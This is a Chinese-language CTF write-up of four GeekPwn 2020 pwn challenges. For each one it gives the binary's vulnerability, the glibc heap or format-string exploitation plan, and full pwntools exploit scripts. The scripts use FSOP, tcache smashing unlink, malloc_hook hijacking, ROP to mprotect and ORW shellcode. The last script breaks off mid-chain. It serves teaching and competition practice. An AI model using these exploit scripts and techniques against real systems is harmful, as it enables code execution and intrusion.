2020 GeekPwn部分PWN解题

 

前言

前几天的GeekPwn又日常被队友带飞,这两天做了其中部分题目,在这里进行一个总结。
题目链接
提取码:mjqm

 

一、BabyPwn

1.1 查看文件

保护全开就想到两个思路了:IO_FILE攻击和劫持hook了

1.2 IDA分析

漏洞定位到create函数中的输入size的地方:

如果size输入0,那么就会绕过判断,同时会分配0x20 size的chunk,但是继续看readInfo功能:

由于size是个有符号数,为0的话减一恒比无符号数大,那么就可以无限溢出了。有了堆溢出,就好办了。

1.3 思路

1.3.1 思路一:劫持main_arena改top chunk

第一步:通过堆溢出改chunk size,释放掉产生unsorted bin,分配后造成chunk复用leak libc地址。
第二步:利用堆溢出再劫持main arena地址,改top chunk的地址为malloc hook上面的一个地址,在修改的时候发现改top chunk只要保证有个size就行了(size大小没关系),只要不回收top chunk就不会页对齐等检查。
第三步:改malloc hook为realloc hook+x,改realloc hook为one gadget来getshell
最后打通了发现程序禁了execve,只能执行system(“/bin/sh”),交涉一番无果,只得考虑第二个思路FSOP

1.3.2 思路二:FSOP

首先利用之前的方法将libc和heap地址泄露,再利用unsorted bin attack将io_list_all改为main_arena地址(同时该main_arena地址偏移0x68也就是chain同时也是0x60 smallbin的地址要伪造一个file来满足getshell的条件)。同时在对应的chunk位置伪造io_file,并在地址+0xd8的地方伪造vtable,vtable里面都是system函数。

注意伪造结构体的时候需要满足:
mode<=0;write_ptr > write_base才会最后调用vtable的overflow虚函数。
调用要求1.exit 2.执行流从main函数返回 3.malloc出错
函数执行步骤:malloc_printerr ->libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW

由于在这个地方卡了好久,决定好好再写一写:最初的思路
首先按照我的思路,需要一次unsorted bin攻击,还需要对应main_arena地址偏移0x68的chain处为一个file结构体。其对应的内容是0x60的smallbin。常规一个一个构造满足是无法完成的,至少我没有想到构造方法。因为unsorted bin攻击后就无法顺利释放chunk到unsorted bin中了,同时我们都知道想要smallbin的话是需要遍历查找unsorted bin没有满足才会将对应的0x60归入smallbin,但是我们注意到size大小是0x40以内,也就说明肯定会从0x60去切,注意一点(分配0x50的chunk会将该0x60chunk分配)

接下来就是神来之笔了
unsorted bin攻击并不是非要将该chunk分配,仅需要将其从双向链表中取出便可达到攻击效果。我们可以在最后利用分配chunk报错而实现这个目的,同时还可以改unsorted bin的size为0x60,不仅可以unsorted bin攻击成功归类的时候还可以产生我们需要的0x60的smallbin chunk。


最后神来之笔的源码解读

好了这下我们可以好好看看源码了
调用int_malloc函数的时候最开始遍历fastbin,smallbin接下来是largebin,最后是unsorted bin。

我们看到遍历unsorted bin的时候有这么一堆合法性检查,不通过就直接malloc_printerr了。在第一次执行前:里面的chunk大小是0x60,同时布置好了unsorted bin攻击,即bk改为io_file_list地址。

接下来再看后面会执行什么:

所以第一次会绕过合法性检查,成功的将0x60的chunk从unsorted bin取出放到smallbin中,这也就同时完成了创造0x60的smallbin和unsorted bin attack两个目的了,也就是一石二鸟了。

至于最后getshell是未能绕过检查直接进入malloc_printerr里面,进入libc_message函数中

libc_message函数中调用abort函数

注意在该文件中将_IO_flush_all_lockp宏定义为fflush了

最后进入_IO_flush_all_lockp函数,看到通过一堆判断将执行overflow虚函数,第一个参数就是该file结构体的地址,所以当我们改为system的时候会将/bin/sh写在最前面

1.4 exp

1.4.1 exp(思路一):

#coding=utf-8
from pwn import *

context.log_level = "debug"
debug = 1
if debug:
    p = process("./pwn")
    elf = ELF("./libc.so")
    libc = ELF("./libc.so")
else:
    p = remote("183.60.136.226",14823)
    elf = ELF("./libc.so")
    libc = ELF("./libc.so")
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims              :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))

def create(name,size,content):
    sla("choice:","1")
    sa("name:",name)
    sla("size:",str(size))
    sa("tion:",content)

def delete(index):
    sla("choice:","2")
    sla("index:",str(index))

def show(index):
    sla("choice:","3")
    sla("index:",str(index))

# ------- leak libc -----------
create("\x11\n",0x10,"\x11\n") # 0
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 1
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 2
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 3
delete(0)
create("\x11\n",0,"\x11"*0x10+p64(0)+p64(0xb1)+"\n") # 0
delete(1)
create("\x11\n",0x40,"a"*0x40) # 1
show(2)
ru("Description:")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.symbols["__malloc_hook"]-0x10-88
success("libc addr ==>"+hex(libc.address))

create("\x11\n",0x30,"\n") # 4
create("\x11\n",0x10,"\n") # 5
create("\x11\n",0x10,"\x11\n") # 6
create("\x11\n",0x30,(p64(0)+p64(0x21))*3) # 7
create("\x11\n",0x30,(p64(0)+p64(0x21))*3) # 8
create("\x11\n",0x30,(p64(0)+p64(0x21))*3) # 9
delete(6)
create("\x11\n",0,"\x11"*0x10+p64(0)+p64(0x71)+"\n") # 6
delete(7)

delete(1)
delete(0)
create("\x11\n",0,"a"*0x10+p64(0)+p64(0x51)+p64(libc.symbols["__malloc_hook"]+0x10+45)+"\n") # 0
delete(8)
delete(9)
gdb.attach(p)
create("\x11\n",0x40,"a\n")
create("\x11\n",0x40,"\x00"*0x1b+p64(libc.symbols["__malloc_hook"]-0x18)+"\n")
create("\x11\n",0x40,p64(libc.address+one_gadgets[1])+p64(libc.symbols["realloc"]+13)+"\n")
sla("choice:","1")
sa("name:","aaa\n")
sla("size:",str(0x40))
p.interactive()

1.4.2 exp(思路二):

#coding=utf-8
from pwn import *

context.log_level = "debug"
debug = 1
if debug:
    p = process("./pwn")
    elf = ELF("./libc.so")
    libc = ELF("./libc.so")
else:
    p = remote("183.60.136.226",14823)
    elf = ELF("./libc.so")
    libc = ELF("./libc.so")
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims              :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))

def create(name,size,content):
    sla("choice:","1")
    sa("name:",name)
    sla("size:",str(size))
    sa("tion:",content)

def delete(index):
    sla("choice:","2")
    sla("index:",str(index))

def show(index):
    sla("choice:","3")
    sla("index:",str(index))

# ------- leak libc -----------
create("\x11\n",0x10,"\x11\n") # 0
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 1
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 2
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 3
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 4
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 5

delete(2)
delete(1)
create("\x11\n",0x40,"\n") # 1
show(1)
ru("Description:")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))-0x20
success("heap address ==> "+hex(heap_addr))
create("\x11\n",0x40,(p64(0)+p64(0x21))*4) # 2
delete(0)
create("\x11\n",0,"\x11"*0x10+p64(0)+p64(0x91)+"\n") # 0
delete(1)
create("\x11\n",0x40,"a"*0x40) # 1
show(2)
ru("Description:")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.symbols["__malloc_hook"]-0x10-88
success("libc addr ==>"+hex(libc.address))

# ----------- FSOP Attack and unsorted bin attack----------------
create("\x11\n",0x30,"shinnosuke\n") # 6
delete(0)
create("\x11\n",0,"a"*0x10+p64(0)+p64(0xc1)+"\n") # 0
delete(1)
delete(0)
payload = "a"*0x10
payload+= "/bin/sh;"+p64(0x61)+p64(0)+p64(libc.sym["_IO_list_all"]-0x10) # unsorted bin attack,顺便修改下size为0x61
payload+= p64(2)+p64(3) # wtite_ptr > write_base
payload+= p64(0)*7
payload+= p64(heap_addr+0x100)
payload+= p64(0)*13
payload+= p64(heap_addr+0x100-0x50)
payload+= p64(libc.sym["system"])*8+"\n"
create("\x11\n",0,payload) # 0
gdb.attach(p)
sla("Input your choice:","1")
sa("name:",'\n')
sla("Description size:",str(0x10)) # 最后遍历的时候就完成了unsorted bin attack攻击和创造0x60大小的smallbin chunk
# gdb.attach(p)
p.interactive()

 

二.PlayTheNew

2.1 查看文件

这是一道glibc 2.30的题目,保护全开,同时伴随着沙箱

2.2 IDA分析

同时该二进制文件是没有符号表的,所以也加大了逆向难度。最后一步一步逆后大概就这样的一些关键点:
创建要求0x80~0x200,那么就避免了fastbin和largebin的情况。

看汇编很清楚的可以看到删除时指针未清零,那么就有UAF的情况了

除此之外有个后门函数,判断其对应的位置是不是0x42,然后执行call target,target和rdi可控

show功能和edit功能正常。

2.3 思路

很明显的意图可以想到我们需要修改其对应的位置的值,将0x42改为其它的内容。

这道题优点像one_punch_man和高效战役的two_chunk,但是比较恶心的是没有malloc功能的函数。如果我们进行tcache smashing attack后改掉对应位置的fd要怎么去取呢?

实际上我们可以换个思路,我们可以考虑先利用一次tcache smashing unlink来达到调用后门函数的要求,也就是利用归类smallbin进入tcache的时候任意地址(0x100000)写libc地址的机会将0x42改掉。这个时候就可以调用后门函数了。但是这个时候又有一个问题,我们需要控制0x100000处的地址来实现任意函数调用的目的,那我们又该怎么做呢?那说白了我们还是需要想办法来分配到0x100000的地址,而且是在没有malloc的情况。

大概讲讲tcache smashing unlink的思路:利用一条0x160的tcache list(满的7个)和一条0xb0的tache list(6个)。当0x160满了之后释放的chunk进入unsorted bin,这时候切割一下,将0xb0剩下,通过calloc一个更大的chunk令其归入smallbin中。再用一次这个方法使0xb0的smallbin有两个chunk,此时利用UAF修改后进入smallbin的0xb0的chunk的bk为0x100000-8-4,在calloc 0xb0的chunk,则先进入的chunk会被分配,后进入的会进入tcache,由于进入tcache没有检查:

就可以0x100000-4写main_arena地址。此时这个chunk也进入tcache了,对应的0xb0就满了,也不会再继续向后索引检查了,也就不会报错。

来自Ama2in9师傅的思路,改掉global_max_fast来达到可以对大chunk进行fastbin的利用。具体就是当改掉global_max_fast后释放chunk就会当作fastbin处理(0x90~0x200),分配的时候calloc同样会找fastbin链有没有chunk。但是Ama2in9师傅后面的思路就有点麻烦了,大概是利用fastbin分配的特点在释放了的fd处伪造个size,chunk分配后就会将这个size当作下一个fd写到main_arena,这时再利用修改另一条链fd的目的劫持到size处,也就达到了劫持main_arena的目的,最后就可以改top chunk了。

在这里我的思路是:利用释放0xd0 size的chunk来覆盖掉top chunk,因为此时会将一切大小的chunk作为fastbin chunk处理。那么此时top chunk就是这个0xd0的chunk地址,此时利用UAF改其fd为0x100000,这样再malloc(0xc0)就可以将0x100000写入top chunk了。还需要注意一点:top chunk的size需要小于0x21000,在2.23里面没有检查这就要求我们向0x100000写libc地址的时候需要错位改一下0x100008的值为0x7fff。此时就可以随便分配fake topchunk了。注意一点:由于fastbin分配的时候会有检查,不为空的时候:victim->bk->fd = victim,那么由于对应的fastbin链中(实际上就是smallbin了)本身就有libc地址那么malloc的时候list检查肯定会出错,所以我们就要提前准备一个size的链,保证释放后这个地址是有chunk的地址不是libc,同时改这个chunk的fd为0就可以正常分配释放这个size的chunk了。我们选取0x120的chunk来进行分配释放,由于0x100000可控了。我们首先选择调用puts函数,参数为environ打印出stack地址。再删除再malloc调用gets,地址为调用backdoor的返回地址,写入rop令我们指定的0x100000地址数据可执行,提前再分配一个0x120 的chunk写入shellcode(ORW的shellcode),最后rop可以接着写pop rax,call rax打印出flag。

总结
第一步:泄露libc地址和heap地址。
第二步:第一次tcache smashing unlink,一次改0x100000!=0x42,同时也可以修改0x10008=0x7fff(错位写)。
第三步:第二次tcache smashing unlink改global_max_fast。
第四步:释放0xd0的chunk覆盖top chunk的位置,同时改fd为0x100000,通过一次分配0xd0的chunk就可以控制0x100000的地址了。
第五步:第一次利用puts函数,参数为environ得到stack地址。第二次利用gets向栈返回地址写入rop执行mprotect使0x100000可执行。再此之前在对应的位置写上shellcode,这样rop就可以加一条pop rax;call rax来得到flag了。

2.4 exp

#coding=utf-8
from pwn import *
# context.terminal = ["tmux","split","-h"]
context.log_level = "debug"
context.arch = "amd64"
debug = 1
if debug:
    p = process("./pwn")
    elf = ELF("./pwn")
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.29.so")
else:
    p = remote("127.0.0.1",1234)
    elf = ELF("./pwn")
    libc = ELF("./libc.so")

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims              :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))

def create(index,size,content):
    sla(">","1")
    sla("index:",str(index))
    sla("basketball:",str(size))
    sa("name:",content)

def delete(index):
    sla(">","2")
    sla("basketball:",str(index))

def show(index):
    sla(">","3")
    sla("basketball:",str(index))

def edit(index,content):
    sla(">","4")
    sla("basketball:",str(index))
    sa("basketball:",content)

def backdoor():
    sla("> ",str(0x666))

# ------ show heap address & libc address -------
create(0,0x180,"\n")
create(1,0x180,"\n")
delete(0)
delete(1)
show(1)
ru("Show the dance:")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))-0x10
success("heap address ==> "+hex(heap_addr))
for i in range(5):
    create(0,0x180,"\n")
    delete(0)
for i in range(6):
    create(0,0xa0,"\n")
    delete(0)
for i in range(6):
    create(0,0xb0,"\n")
    delete(0)

for i in range(7):
    create(0,0xc0,"\n")
    delete(0)
create(4,0xc0,"\n")
for i in range(7):
    create(1,0x120,"\n")
    delete(1)

create(0,0x180,"\n")
create(1,0x190,"\n")
delete(0)  # UAF size = 0x190
show(0)
ru("Show the dance:")
static_libc = 0x7ffff7dce000
main_arena = 0x00007ffff7fb2ca0
heap_static = 0x55555555a250
libc.address = u64(p.recv(6).ljust(8,"\x00"))+static_libc-main_arena
success("libc address ==> "+hex(libc.address))

# -------- tcache smashing unlink attack modify 0x10000 have libc addr ---------
create(1,0xd0,"\n") # 1
for i in range(7):
    create(1,0x1a0,"\n")
    delete(1)
create(1,0x1a0,"\n")
create(2,0x1b0,"\n")
delete(1)             # we can uaf 0x1a0 size, this chunk have been split
create(0,0xf0,"\n")
create(0,0x1b0,"\n")
edit(1,"a"*0xf0+p64(0)+p64(0xb1)+p64(heap_addr-heap_static+0x000055555555c590)+p64(0x0000000000100000-4-8)+"\n")
create(0,0xa0,"\n")

# -------- tcache smashing unlink attack modify global_max_fast ---------
create(0,0x180,"\n")
create(1,0x100,"\n")
delete(0)
create(0,0xc0,"\n")
create(0,0x1a0,"\n")
create(1,0x100,"\n")
delete(0)
create(1,0xe0,"\n")
create(2,0x100,"\n")
edit(0,"a"*0xe0+p64(0)+p64(0xc1)+p64(heap_addr-heap_static+0x000055555555d9b0)+p64(0x7ffff7fb5600-0x10+libc.address-static_libc)+"\n")

# --------- prepare chunk for hijacking top chunk -------------
create(1,0x120,"\n")
create(3,0xb0,"\n") # tcache smashing unlink to modify  
delete(1)
delete(4)           # delete 0xd0 size chunk, this chunk addr will cover top chunkaddr
delete(3)
edit(3,p64(0x100000)+"\n")
create(3,0xb0,"\n")
edit(1,p64(0)+"\n")  # modify 0x130 fast chunnk fd = 0
create(1,0x120,"\n") #clear fastbin 0x130 list

# backdoor execute puts(environ)
create(1,0x120,p64(libc.sym["puts"])+p64(libc.address - static_libc + 0x7ffff7fb5d60)) 
backdoor()
stack_addr = u64(p.recv(6).ljust(8,"\x00"))-0x7fffffffe038+0x7fffffffdf28
success("stack address ==> "+hex(stack_addr))
# backdoor execute gets(ret stack addr) and call [0x100000+0x140]
if debug:
    pop_rax = libc.address + 0x0000000000047cf8
    pop_rdi = libc.address + 0x0000000000026542
    pop_rsi = libc.address + 0x0000000000026f9e
    pop_rdx = libc.address + 0x000000000012bda6
    syscall = libc.address + 0x00000000000cf6c5
    pop_rax_call_rax = libc.address + 0x000000000014f404
else:
    pop_rax = libc.address + 0x0000000000047cf8
    pop_rdi = libc.address + 0x0000000000026542
    pop_rsi = libc.address + 0x0000000000026f9e
    pop_rdx = libc.address + 0x000000000012bda6
    syscall = libc.address + 0x00000000000cf6c5
    pop_rax_call_rax = libc.address + 0x000000000014f404

payload2 = asm('''
            mov rdi,0x100140
            xor rsi,rsi
            xor rdx,rdx
            mov rax,2
            syscall
            mov rdi,rax
            mov rsi,0x100200
            mov rdx,0x40
            mov rax,0
            syscall
            mov rdi,1
            mov rsi,0x100200
            mov rdx,0x40
            mov rax,1
            syscall
            ''')

payload1 = flat([pop_rdi,0x100000,pop_rsi,0x1000,pop_rdx,7,libc.sym["mprotect"],pop_rax_call_rax,0x100000+0x140+8])
delete(1)
create(1,0x120,p64(libc.sym["gets"])+p64(stack_addr)+"\n")
create(2,0x120,"flag"+"\x00"*4+payload2+"\n")
# p.clean()
gdb.attach(p)
backdoor()
raw_input()
sl(payload1)
# gdb.attach(p)

p.interactive()

 

三、PaperPrinter

3.1 查看文件

保护全开

3.2 IDA分析

随机化开辟一块地址:

这道题的整体思路有点像heap_master,同样的可以无限的编辑溢出,但是区别是这里只有两次malloc的机会。两次malloc第一次是可以malloc,第二次是再exitFunc函数中有个strdup函数会malloc一次。同时没有输出函数,程序一开始给了中间两位地址,那么我们只能尝试低地址写了。
create:

delete:

edit:

exitFunc:

大致看看strdup函数的功能:
strdup()在内部调用了malloc()为变量分配内存,不需要使用返回的字符串时,需要用free()释放相应的内存空间,否则会造成内存泄漏。

3.3 思路分析

这里同样有两个思路:

3.3.1 第一个思路:

是利用largebin attack改掉stdout的vtable为chunk地址,vtable+0x38为onegadet。在调用printf函数的时候会得到一次call [vtable+0x38]的机会,同时stdout文件结构体地址作为第一个参数传入。(这是第一次见到这种攻击,虽然也是FSOP但是利用手法有差别,详情请看io_file攻击(三))

同样的由于该题禁了one_gadget,那么我们就得换另一个思路了

3.3.2 第二个思路:

利用unsorted bin attack进行FSOP,类似第一个题目的操作。改io_file_list为fake io_file(main_arena),io_file指向chunk(fake io file),vtable指向chunk

构造起来也是挺麻烦,大概讲讲思路吧:

第一步:根据泄露的信息找到我们需要的io_file_list、system地址
第二步:创造出足够多的空间,准备后面的delete构造small 、unsorted chunk
第三步:根据fake file的特点在对应的位置创造出heap地址和libc地址,libc地址方便直接删除得到unsorted bin就有了,但是heap地址我们需要在offset + 0x8位置创造出要么就是unsorted bin要么就是smallbin,large bin。在这里我们选择smallbin,由于malloc的时候遍历unsorted bin会归类smallbin,所以提前释放两个同样大小的chunk在unsorted bin,malloc 0x150的时候就可以在对应的位置得到heap地址了。(这是最麻烦的一步了)
第四步:unsorted bin attack + 改掉unsorted bin的size为0x61也为了劫持io_file_list成功,exit完成unsorted bin attack攻击,同时归类时产生错误执行malloc_printerr

3.4 exp

3.4.1 exp(思路一)

from pwn import *
p = process("./pwn")
context.log_level="debug"
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def edit(offset,length,content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(offset))
    p.recvuntil(":")
    p.sendline(str(length))
    p.recvuntil(":")
    p.send(content)
def delete(offset):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(offset))
def show():
    p.recvuntil(":")
    p.sendline("3")
def extra():
    p.recvuntil(":")
    p.sendline("4")

#p = process("PaperPrinter")
# p = remote("183.60.136.226",16145)
sleep_addr = int(p.recvuntil("\n")[:-1]+"30",16)+0xa00000
print hex(sleep_addr)
stdout_vtable = sleep_addr+0x2f94c8
one_gadget = sleep_addr-0xcc230+0x4526a
dl_open_hook = stdout_vtable+0x3be8
magic_gadget = stdout_vtable-0xdd26f8+0xa7a98a
system = sleep_addr-0x86ea0
print hex(system)
payload = p64(0)+p64(0x411)+"/bin/sh;"+"\x00"*(0x400-8)
edit(0,len(payload),payload)
payload = p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x221)+p64(0)*6+p64(0)+p64(0x221)+"\x00"*0x110
edit(0x410,len(payload),payload)
payload = p64(0)+p64(0x411)+"\x00"*0xb0+p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21)+"\x00"*0x2e0+p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21)
edit(0x410+0x180,len(payload),payload)
delete(0x440)

delete(0x480)
delete(0x10)
show()
delete(0x5a0)
payload = p64(0)+p64(0x3f1)+p64(0)+chr((stdout_vtable-0x10)%0x100)+chr(((stdout_vtable-0x10)>>8)%0x100)+chr(((stdout_vtable-0x10)>>16)%0x100)
edit(0,len(payload),payload)
payload = "a"*0x10+"/bin/sh;"+"a"*0x18+"a"*8+"a"*0x10+chr((one_gadget)%0x100)+chr(((one_gadget)>>8)%0x100)+chr(((one_gadget)>>16)%0x100)
edit(0x440,len(payload),payload)
# gdb.attach(p)
extra()
p.interactive()

3.4.2 exp(思路二)

#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='info')
context.log_level = "debug"
debug = 1
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
    p = process('./pwn')
else:
    p = remote('183.60.136.226',16145)

def edit(offset,sz,content):
    p.recvuntil('Input your choice:')
    p.sendline('1')
    p.recvuntil("Input the offset :")
    p.sendline(str(offset))
    p.recvuntil("Input the length :")
    p.sendline(str(sz))
    p.recvuntil("Input the content :")
    p.send(content)

def create():
    p.recvuntil('Input your choice:')
    p.sendline('3')

def delete(offset):
    p.recvuntil('Input your choice:')
    p.sendline('2')
    p.recvuntil("Input the offset :")
    p.sendline(str(offset))

def exit():
    p.recvuntil('Input your choice:')
    p.sendline('4')

#leak libc
p.recvuntil("0x")
libc_addr = int(p.recvline().strip('\n'),16)
libc_addr = (libc_addr << 8) +0xa00000+0x30
libc_addr = libc_addr - libc.sym['sleep']
log.success("libc addr => " + hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
io_list_all = libc_addr + libc.sym['_IO_list_all']
log.success("system addr => " + hex(system_addr))
log.success("IO_list_all addr => " + hex(io_list_all))


# ------0x68 heap addr--------
payload = p64(0)+p64(0x61)+(p64(0)+p64(0x21))*5
edit(0x10,len(payload),payload)
payload = p64(0)+p64(0x61)+(p64(0)+p64(0x21))*5
edit(0x10+0x60,len(payload),payload)
payload = p64(0)+p64(0x61)+(p64(0)+p64(0x21))*9
edit(0x10+0x60+0x60,len(payload),payload)

# ------heap addr and 0xd8 libc addr--------
payload = p64(0)+p64(0x141)+(p64(0)+p64(0x21))*0x20
edit(0x160,len(payload),payload)
payload = p64(0)+p64(0x91)
edit(0x140,len(payload),payload)
edit(0x1b0,len(payload),payload)
delete(0x150)
delete(0x1c0)

delete(0x170)

# ------- unsorted bin attack ----
payload = p64(0)+p64(0xa1)
edit(0x80,len(payload),payload)
delete(0x90)
create()

# create fake file struct 
fake_file = "/bin/sh;"+p64(0x61)+p64(0)+p64(io_list_all-0x10)[:3] # unsorted bin attack,顺便修改下size为0x61
edit(0x80,len(fake_file),fake_file)

fake_file= p64(2)+p64(3)+p64(0)*21
edit(0xa0,len(fake_file),fake_file)
fake_file= p64(0xb0)[:1]   # vtable
edit(0xa0+0x8*23,len(fake_file),fake_file)

fake_file=p64(system_addr)[:3]
edit(0x1c8,len(fake_file),fake_file)
exit()
# ------make unsorted bin --------
# gdb.attach(p)
p.interactive()

 

四、EasyShell

4.1 查看文件

GOT表可劫持,PIE和canary保护都没开启

看起来是orw来getshell

这题只是普通的pwn题,并没有逃逸的部分

4.2 IDA分析

这是个没有符号的二进制文件,我们通过sig文件恢复了一部分,手动恢复一部分,基本可以了解主函数逻辑了:

大概就是一个格式化字符串的漏洞,只能orw来获得flag

4.3 思路

4.3.1 思路一

队里的Ama2in9师傅的思路:劫持 fini_arr[2] 为call_fini+leave_ret_addr,在调用的时候观察一下栈迁移的rbp,记一下,回过头在第一次格式化字符串漏洞的时候把这里部署上 p_rdi+new_addr+gets ,在gets调用结束还有一次 leave;ret 调用,此时再记一下对应的迁移rbp,回过头补上那个new_addr,这样构造出两段rop(因为第一段到后面发现部分rop chain写不进去),最后orw read flag

4.3.2 思路二

Nu1L队师傅的思路是通过劫持malloc_hook来执行gadget,提前在附近位置布置其它的gadgets,使得通过该位置的gadget调用readinfo函数读取新的一堆gadget到指定位置,接下来再执行这一堆gadgets目标是执行read的系统调用,最后读入这段orw的gadgets,执行达到get flag的目的。

我们先看看通过printf是怎么调用malloc_hook的,大体是这样:IO_vfprintf_internal->printf_positional->_libc_malloc->malloc_hook
首先:printfFunc函数中调用子函数IO_fprintf_internal

其次:IO_fprintf_internal中调用printf_positional

最后:printf_positional中调用_libc_malloc

在_libc_malloc中自然会有查看hook不为空就调用的操作

这条指令就进入了调用链中:

这个题有个关键点就是一条汇编指令:如何将bss也就是malloc_hook附近的地址赋值给esp:
<u>0x0000000000422924: xchg edi, esp; add al, 0; add dh, dh; ret;</u>
这条指令会调换edi和esp的内容,我们看到edi就是我们想改esp的值,所以这个指令就办到了。

4.4 exp

4.4.1 思路一

#coding=utf-8

from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')

# context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    p = process('./pwn')
else:
    p = remote('183.60.136.226',11397)

tls = 0x6f0430
fini_arr = 0x6d6828
call_fini = 0x40aba0
main_addr = 0x0000000000400c6c
rbp = 0x6ed0c0
gets = 0x400dc0
p_rdi_1 = 0x000000000040b74a
p_rdi = 0x0000000000401f0a
p_rsi = 0x00000000004014a4
p_rdx_rsi = 0x000000000044c499
p_rax_rdx_r = 0x0000000000482286
syscall = 0x0000000000471115
leave = 0x0000000000400c6c

def exp():
    #leak libc
    p.recvuntil("Input your message,it will echo back.")
    target = rbp+0x10
    payload = "%"+str((call_fini)&0xffff)+"c%23$hn"
    payload += "%"+str(0xffff&(main_addr&0xffff)-(call_fini&0xffff))+"c%24$hn"
    payload += "%"+str((p_rdi-main_addr)&0xffff)+"c%25$hn"
    payload += "%"+str(((p_rdi>>16)-(p_rdi&0xffff))&0xffff)+"c%26$hn"
    payload += "%"+str(((target&0xffff)-(p_rdi>>16))&0xffff)+"c%27$hn"
    payload += "%"+str(((target>>16)-(target&0xffff))&0xffff)+"c%28$hn"
    payload += "%"+str(((gets&0xffff)-(target>>16))&0xffff)+"c%29$hn"
    payload += "%"+str(((gets>>16)-(gets&0xffff))&0xffff)+"c%30$hn"
    payload = payload.ljust(0x78,'a')
    payload += p64(fini_arr)+p64(fini_arr+8)+p64(rbp+0x8)+p64(rbp+0xa)+p64(rbp+0x10)+p64(rbp+0x12)+p64(rbp+0x18)+p64(rbp+0x1a)

    p.sendline(payload)
    raw_input()
    flag_addr = 0x6ed0d0
    #gdb.attach(p,'b* 0x0000000000400c6c')
    rops = flat([
        p_rdi_1,flag_addr,0,
        p_rsi,0,
        p_rax_rdx_r,2,0,0,syscall,
        p_rdi_1,0,0,
        p_rsi,0x6ed178,
        p_rax_rdx_r,0,0xf0,0,syscall,
        ])

    payload = "./flag\x00\x00"+rops
    p.sendline(payload)
    raw_input()
    rops = flat([
        p_rdi_1,5,0,
        p_rsi,flag_addr+0x20,
        p_rax_rdx_r,0,0x60,0,syscall,
        p_rdi_1,1,0,
